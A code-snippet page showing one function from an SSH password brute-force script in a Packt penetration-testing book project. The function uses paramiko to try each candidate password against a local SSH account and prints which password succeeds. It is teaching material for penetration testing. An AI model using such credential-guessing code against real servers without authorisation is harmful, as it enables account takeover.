ssh-brute-force-threded.py 文件源码

python
阅读 41 收藏 0 点赞 0 评论 0

项目:Effective-Python-Penetration-Testing 作者: PacktPublishing 项目源码 文件源码
def attempt(Password):

    IP = "127.0.0.1"
    USER = "rejah"
    PORT=22

    try:

        ssh = paramiko.SSHClient()
        ssh.load_system_host_keys()
        ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())

        try:
            ssh.connect(IP , port=PORT, username=USER, password=Password)
            print "Connected successfully. Password = "+Password
        except paramiko.AuthenticationException, error:
            print "Incorrect password: "+Password
            pass
        except socket.error, error:
            print error
            pass
        except paramiko.SSHException, error:
            print error
            print "Most probably this is caused by a missing host key"
            pass
        except Exception, error:
            print "Unknown error: "+error
            pass    
        ssh.close()

    except Exception,error :
        print error
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号